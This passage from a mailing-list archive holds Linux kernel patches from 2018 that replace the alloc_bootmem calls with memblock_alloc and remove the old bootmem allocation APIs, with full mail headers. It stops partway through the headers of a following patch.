diff --git a/arch/um/drivers/vector_kern.c b/arch/um/drivers/vector_kern.c
index c84133c..9d77579 100644
--- a/arch/um/drivers/vector_kern.c
+++ b/arch/um/drivers/vector_kern.c
@@ -1575,7 +1575,7 @@ static int __init vector_setup(char *str)
 				 str, error);
 		return 1;
 	}
-	new = alloc_bootmem(sizeof(*new));
+	new = memblock_alloc(sizeof(*new), 0);
 	INIT_LIST_HEAD(&new->list);
 	new->unit = n;
 	new->arguments = str;
diff --git a/arch/um/kernel/initrd.c b/arch/um/kernel/initrd.c
index 6f6e789..844056c 100644
--- a/arch/um/kernel/initrd.c
+++ b/arch/um/kernel/initrd.c
@@ -36,7 +36,7 @@ int __init read_initrd(void)
 		return 0;
 	}
 
-	area = alloc_bootmem(size);
+	area = memblock_alloc(size, 0);
 
 	if (load_initrd(initrd, area, size) == -1)
 		return 0;
diff --git a/arch/x86/kernel/acpi/boot.c b/arch/x86/kernel/acpi/boot.c
index 3b20607..fd887c1 100644
--- a/arch/x86/kernel/acpi/boot.c
+++ b/arch/x86/kernel/acpi/boot.c
@@ -932,7 +932,8 @@ static int __init acpi_parse_hpet(struct acpi_table_header *table)
 	 * the resource tree during the lateinit timeframe.
 	 */
 #define HPET_RESOURCE_NAME_SIZE 9
-	hpet_res = alloc_bootmem(sizeof(*hpet_res) + HPET_RESOURCE_NAME_SIZE);
+	hpet_res = memblock_alloc(sizeof(*hpet_res) + HPET_RESOURCE_NAME_SIZE,
+				  0);
 
 	hpet_res->name = (void *)&hpet_res[1];
 	hpet_res->flags = IORESOURCE_MEM;
diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
index e25118f..8c74509 100644
--- a/arch/x86/kernel/apic/io_apic.c
+++ b/arch/x86/kernel/apic/io_apic.c
@@ -2578,7 +2578,7 @@ static struct resource * __init ioapic_setup_resources(void)
 	n = IOAPIC_RESOURCE_NAME_SIZE + sizeof(struct resource);
 	n *= nr_ioapics;
 
-	mem = alloc_bootmem(n);
+	mem = memblock_alloc(n, 0);
 	res = (void *)mem;
 
 	mem += sizeof(struct resource) * nr_ioapics;
diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c
index c88c23c..7ea8748 100644
--- a/arch/x86/kernel/e820.c
+++ b/arch/x86/kernel/e820.c
@@ -1094,7 +1094,7 @@ void __init e820__reserve_resources(void)
 	struct resource *res;
 	u64 end;
 
-	res = alloc_bootmem(sizeof(*res) * e820_table->nr_entries);
+	res = memblock_alloc(sizeof(*res) * e820_table->nr_entries, 0);
 	e820_res = res;
 
 	for (i = 0; i < e820_table->nr_entries; i++) {
diff --git a/arch/x86/platform/olpc/olpc_dt.c b/arch/x86/platform/olpc/olpc_dt.c
index d6ee929..140cd76 100644
--- a/arch/x86/platform/olpc/olpc_dt.c
+++ b/arch/x86/platform/olpc/olpc_dt.c
@@ -141,7 +141,7 @@ void * __init prom_early_alloc(unsigned long size)
 		 * fast enough on the platforms we care about while minimizing
 		 * wasted bootmem) and hand off chunks of it to callers.
 		 */
-		res = alloc_bootmem(chunk_size);
+		res = memblock_alloc(chunk_size, 0);
 		BUG_ON(!res);
 		prom_early_allocated += chunk_size;
 		memset(res, 0, chunk_size);
diff --git a/arch/xtensa/platforms/iss/network.c b/arch/xtensa/platforms/iss/network.c
index d027ddd..206b9d4 100644
--- a/arch/xtensa/platforms/iss/network.c
+++ b/arch/xtensa/platforms/iss/network.c
@@ -646,7 +646,7 @@ static int __init iss_net_setup(char *str)
 		return 1;
 	}
 
-	new = alloc_bootmem(sizeof(*new));
+	new = memblock_alloc(sizeof(*new), 0);
 	if (new == NULL) {
 		pr_err("Alloc_bootmem failed\n");
 		return 1;
diff --git a/drivers/macintosh/smu.c b/drivers/macintosh/smu.c
index e8ae2e5..332fcca 100644
--- a/drivers/macintosh/smu.c
+++ b/drivers/macintosh/smu.c
@@ -493,7 +493,7 @@ int __init smu_init (void)
 		goto fail_np;
 	}
 
-	smu = alloc_bootmem(sizeof(struct smu_device));
+	smu = memblock_alloc(sizeof(struct smu_device), 0);
 
 	spin_lock_init(&smu->lock);
 	INIT_LIST_HEAD(&smu->cmd_list);
diff --git a/init/main.c b/init/main.c
index d0b92bd..99a9e99 100644
--- a/init/main.c
+++ b/init/main.c
@@ -768,8 +768,8 @@ static int __init initcall_blacklist(char *str)
 		str_entry = strsep(&str, ",");
 		if (str_entry) {
 			pr_debug("blacklisting initcall %s\n", str_entry);
-			entry = alloc_bootmem(sizeof(*entry));
-			entry->buf = alloc_bootmem(strlen(str_entry) + 1);
+			entry = memblock_alloc(sizeof(*entry), 0);
+			entry->buf = memblock_alloc(strlen(str_entry) + 1, 0);
 			strcpy(entry->buf, str_entry);
 			list_add(&entry->next, &blacklisted_initcalls);
 		}
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 22/30] mm: nobootmem: remove bootmem allocation APIs
Date: Fri, 14 Sep 2018 15:10:37 +0300
Lines: 315
Approved: news@gmane.org
Message-ID: <1536927045-23536-23-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927136 2386 195.159.176.226 (14 Sep 2018 12:12:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:16 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:07 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mxB-0000OI-Rv
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:12:06 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=jI6rS1UFB0GiK+l/B/QWYgmak8i8mXHtYeBZNL3kklQ=; b=sp/e3ZRSPDheVew1ZzxxfcqnRz
	y4VF6/ARVWZRwccrLEHLmfkPlq/UeLnmxSFkQmodmaZ97qlYFytw4KyWFRve0lhM5rr3bc6nMA2jL
	j1gddwAUAQDewTPZKL1zfBDtN2l0jrUDgl5lHjhe10SaVRMONpZLB/Mc5JULiWn1qiZtdEmgyLnZq
	y5dMIYDtPdCijoHiEFDI6gLKOnZMbfXELz+LZx5z4Z1SVK2LFV8VBTHuuM/mV60jXBHk4nquJDG8r
	JfIDq8xX6SJJuezsTWJSKazF7x5lDfyef7lu0cAXrToFB2jAIHzcDQyor9dIGpOV7R7cordrGZygG
	NHLJUeWA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzB-00053B-P0; Fri, 14 Sep 2018 12:14:09 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myX-0004U9-7q
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:42 +0000
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4lZw026723
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:21 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9c78f01-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:21 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:18 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:07 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECD6vm59113616
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:06 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id C824DA4040;
 Fri, 14 Sep 2018 15:12:53 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 9D503A4051;
 Fri, 14 Sep 2018 15:12:48 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:48 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:13:00 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64C0B
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113AE01
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051329_489653_4E5766DA 
X-CRM114-Status: GOOD (  24.79  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:797 gmane.linux.kernel.mm:203333 gmane.linux.ports.mips.general:66635 gmane.linux.ports.ia64:29230 gmane.linux.ports.sh.devel:57506 gmane.linux.ports.sparc:28418 gmane.linux.ports.hexagon:1847 gmane.linux.kernel.arc:4360 gmane.linux.ports.alpha:5236 gmane.linux.ports.arm.kernel:674205 gmane.linux.ports.parisc:28958 gmane.linux.kernel:2870778 gmane.linux.ports.ppc64.devel:162493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/797>

The bootmem compatibility APIs are not used and can be removed.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 include/linux/bootmem.h |  47 ----------
 mm/nobootmem.c          | 224 ------------------------------------------------
 2 files changed, 271 deletions(-)

diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index c97c105..73f1272 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -36,33 +36,6 @@ extern void free_bootmem_node(pg_data_t *pgdat,
 extern void free_bootmem(unsigned long physaddr, unsigned long size);
 extern void free_bootmem_late(unsigned long physaddr, unsigned long size);
 
-extern void *__alloc_bootmem(unsigned long size,
-			     unsigned long align,
-			     unsigned long goal);
-extern void *__alloc_bootmem_nopanic(unsigned long size,
-				     unsigned long align,
-				     unsigned long goal) __malloc;
-extern void *__alloc_bootmem_node(pg_data_t *pgdat,
-				  unsigned long size,
-				  unsigned long align,
-				  unsigned long goal) __malloc;
-void *__alloc_bootmem_node_high(pg_data_t *pgdat,
-				  unsigned long size,
-				  unsigned long align,
-				  unsigned long goal) __malloc;
-extern void *__alloc_bootmem_node_nopanic(pg_data_t *pgdat,
-				  unsigned long size,
-				  unsigned long align,
-				  unsigned long goal) __malloc;
-void *___alloc_bootmem_node_nopanic(pg_data_t *pgdat,
-				  unsigned long size,
-				  unsigned long align,
-				  unsigned long goal,
-				  unsigned long limit) __malloc;
-extern void *__alloc_bootmem_low(unsigned long size,
-				 unsigned long align,
-				 unsigned long goal) __malloc;
-
 /* We are using top down, so it is safe to use 0 here */
 #define BOOTMEM_LOW_LIMIT 0
 
@@ -70,26 +43,6 @@ extern void *__alloc_bootmem_low(unsigned long size,
 #define ARCH_LOW_ADDRESS_LIMIT  0xffffffffUL
 #endif
 
-#define alloc_bootmem(x) \
-	__alloc_bootmem(x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_align(x, align) \
-	__alloc_bootmem(x, align, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_pages(x) \
-	__alloc_bootmem(x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_pages_nopanic(x) \
-	__alloc_bootmem_nopanic(x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_node(pgdat, x) \
-	__alloc_bootmem_node(pgdat, x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_node_nopanic(pgdat, x) \
-	__alloc_bootmem_node_nopanic(pgdat, x, SMP_CACHE_BYTES, BOOTMEM_LOW_LIMIT)
-#define alloc_bootmem_pages_node(pgdat, x) \
-	__alloc_bootmem_node(pgdat, x, PAGE_SIZE, BOOTMEM_LOW_LIMIT)
-
-#define alloc_bootmem_low(x) \
-	__alloc_bootmem_low(x, SMP_CACHE_BYTES, 0)
-#define alloc_bootmem_low_pages(x) \
-	__alloc_bootmem_low(x, PAGE_SIZE, 0)
-
 /* FIXME: use MEMBLOCK_ALLOC_* variants here */
 #define BOOTMEM_ALLOC_ACCESSIBLE	0
 #define BOOTMEM_ALLOC_ANYWHERE		(~(phys_addr_t)0)
diff --git a/mm/nobootmem.c b/mm/nobootmem.c
index 44ce7de..bc38e56 100644
--- a/mm/nobootmem.c
+++ b/mm/nobootmem.c
@@ -33,41 +33,6 @@ unsigned long min_low_pfn;
 unsigned long max_pfn;
 unsigned long long max_possible_pfn;
 
-static void * __init __alloc_memory_core_early(int nid, u64 size, u64 align,
-					u64 goal, u64 limit)
-{
-	void *ptr;
-	u64 addr;
-	enum memblock_flags flags = choose_memblock_flags();
-
-	if (limit > memblock.current_limit)
-		limit = memblock.current_limit;
-
-again:
-	addr = memblock_find_in_range_node(size, align, goal, limit, nid,
-					   flags);
-	if (!addr && (flags & MEMBLOCK_MIRROR)) {
-		flags &= ~MEMBLOCK_MIRROR;
-		pr_warn("Could not allocate %pap bytes of mirrored memory\n",
-			&size);
-		goto again;
-	}
-	if (!addr)
-		return NULL;
-
-	if (memblock_reserve(addr, size))
-		return NULL;
-
-	ptr = phys_to_virt(addr);
-	memset(ptr, 0, size);
-	/*
-	 * The min_count is set to 0 so that bootmem allocated blocks
-	 * are never reported as leaks.
-	 */
-	kmemleak_alloc(ptr, size, 0, 0);
-	return ptr;
-}
-
 /**
  * free_bootmem_late - free bootmem pages directly to page allocator
  * @addr: starting address of the range
@@ -215,192 +180,3 @@ void __init free_bootmem(unsigned long addr, unsigned long size)
 {
 	memblock_free(addr, size);
 }
-
-static void * __init ___alloc_bootmem_nopanic(unsigned long size,
-					unsigned long align,
-					unsigned long goal,
-					unsigned long limit)
-{
-	void *ptr;
-
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc(size, GFP_NOWAIT);
-
-restart:
-
-	ptr = __alloc_memory_core_early(NUMA_NO_NODE, size, align, goal, limit);
-
-	if (ptr)
-		return ptr;
-
-	if (goal != 0) {
-		goal = 0;
-		goto restart;
-	}
-
-	return NULL;
-}
-
-/**
- * __alloc_bootmem_nopanic - allocate boot memory without panicking
- * @size: size of the request in bytes
- * @align: alignment of the region
- * @goal: preferred starting address of the region
- *
- * The goal is dropped if it can not be satisfied and the allocation will
- * fall back to memory below @goal.
- *
- * Allocation may happen on any node in the system.
- *
- * Return: address of the allocated region or %NULL on failure.
- */
-void * __init __alloc_bootmem_nopanic(unsigned long size, unsigned long align,
-					unsigned long goal)
-{
-	unsigned long limit = -1UL;
-
-	return ___alloc_bootmem_nopanic(size, align, goal, limit);
-}
-
-static void * __init ___alloc_bootmem(unsigned long size, unsigned long align,
-					unsigned long goal, unsigned long limit)
-{
-	void *mem = ___alloc_bootmem_nopanic(size, align, goal, limit);
-
-	if (mem)
-		return mem;
-	/*
-	 * Whoops, we cannot satisfy the allocation request.
-	 */
-	pr_alert("bootmem alloc of %lu bytes failed!\n", size);
-	panic("Out of memory");
-	return NULL;
-}
-
-/**
- * __alloc_bootmem - allocate boot memory
- * @size: size of the request in bytes
- * @align: alignment of the region
- * @goal: preferred starting address of the region
- *
- * The goal is dropped if it can not be satisfied and the allocation will
- * fall back to memory below @goal.
- *
- * Allocation may happen on any node in the system.
- *
- * The function panics if the request can not be satisfied.
- *
- * Return: address of the allocated region.
- */
-void * __init __alloc_bootmem(unsigned long size, unsigned long align,
-			      unsigned long goal)
-{
-	unsigned long limit = -1UL;
-
-	return ___alloc_bootmem(size, align, goal, limit);
-}
-
-void * __init ___alloc_bootmem_node_nopanic(pg_data_t *pgdat,
-						   unsigned long size,
-						   unsigned long align,
-						   unsigned long goal,
-						   unsigned long limit)
-{
-	void *ptr;
-
-again:
-	ptr = __alloc_memory_core_early(pgdat->node_id, size, align,
-					goal, limit);
-	if (ptr)
-		return ptr;
-
-	ptr = __alloc_memory_core_early(NUMA_NO_NODE, size, align,
-					goal, limit);
-	if (ptr)
-		return ptr;
-
-	if (goal) {
-		goal = 0;
-		goto again;
-	}
-
-	return NULL;
-}
-
-void * __init __alloc_bootmem_node_nopanic(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	return ___alloc_bootmem_node_nopanic(pgdat, size, align, goal, 0);
-}
-
-static void * __init ___alloc_bootmem_node(pg_data_t *pgdat, unsigned long size,
-				    unsigned long align, unsigned long goal,
-				    unsigned long limit)
-{
-	void *ptr;
-
-	ptr = ___alloc_bootmem_node_nopanic(pgdat, size, align, goal, limit);
-	if (ptr)
-		return ptr;
-
-	pr_alert("bootmem alloc of %lu bytes failed!\n", size);
-	panic("Out of memory");
-	return NULL;
-}
-
-/**
- * __alloc_bootmem_node - allocate boot memory from a specific node
- * @pgdat: node to allocate from
- * @size: size of the request in bytes
- * @align: alignment of the region
- * @goal: preferred starting address of the region
- *
- * The goal is dropped if it can not be satisfied and the allocation will
- * fall back to memory below @goal.
- *
- * Allocation may fall back to any node in the system if the specified node
- * can not hold the requested memory.
- *
- * The function panics if the request can not be satisfied.
- *
- * Return: address of the allocated region.
- */
-void * __init __alloc_bootmem_node(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-	if (WARN_ON_ONCE(slab_is_available()))
-		return kzalloc_node(size, GFP_NOWAIT, pgdat->node_id);
-
-	return ___alloc_bootmem_node(pgdat, size, align, goal, 0);
-}
-
-void * __init __alloc_bootmem_node_high(pg_data_t *pgdat, unsigned long size,
-				   unsigned long align, unsigned long goal)
-{
-	return __alloc_bootmem_node(pgdat, size, align, goal);
-}
-
-
-/**
- * __alloc_bootmem_low - allocate low boot memory
- * @size: size of the request in bytes
- * @align: alignment of the region
- * @goal: preferred starting address of the region
- *
- * The goal is dropped if it can not be satisfied and the allocation will
- * fall back to memory below @goal.
- *
- * Allocation may happen on any node in the system.
- *
- * The function panics if the request can not be satisfied.
- *
- * Return: address of the allocated region.
- */
-void * __init __alloc_bootmem_low(unsigned long size, unsigned long align,
-				  unsigned long goal)
-{
-	return ___alloc_bootmem(size, align, goal, ARCH_LOW_ADDRESS_LIMIT);
-}
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 23/30] memblock: replace free_bootmem{_node} with memblock_free
Date: Fri, 14 Sep 2018 15:10:38 +0300
Lines: 331
Approved: news@gmane.org
Message-ID: <1536927045-23536-24-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927144 2973 195.159.176.226 (14 Sep 2018 12:12:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:24 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:15 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mxL-0000bD-G1
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:12:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=4jceDaGJlTroHmSgfKhwiiZ21cRNXSYKgV+Wt4OjL5Q=; b=cWFYYgDjgERRKqJ5mxhfzlkLNC
	NzXwG2LYMopHxqhcHjb0YDA52DFWEnRTYKREwnEtevRtet3+fLI3cZ/LgpdpWh5JDZYWkeSRRrJiT
	k0UZW7bebfEfEQmh+hGkbmGVsMF4q/8tfXcn6awMJCO3yU11EJPcWbdAOkMpw4PZFVNJwSe3WrLzp
	MZsEclKbpNZ2m3xU9xM8KAKkE7GkU8/KVqVXtsW/t/gBmeiwuqoooOg6rKDTm+qzYoBb/ZXc0cVow
	4H3PAa/INMM5HN73alD87h4i+FD/sVuYabdEiL7ZbBTcvNz0auQKu/ATntJufS6q9AxxgSfbMsGKo
	Xiufd2Vg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mzM-00059f-CN; Fri, 14 Sep 2018 12:14:20 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myb-0004Y4-Eg
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:52 +0000
Original-Received: from pps.filterd (m0098410.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5M74053805
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:28 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgcndreae-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:13:28 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:24 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
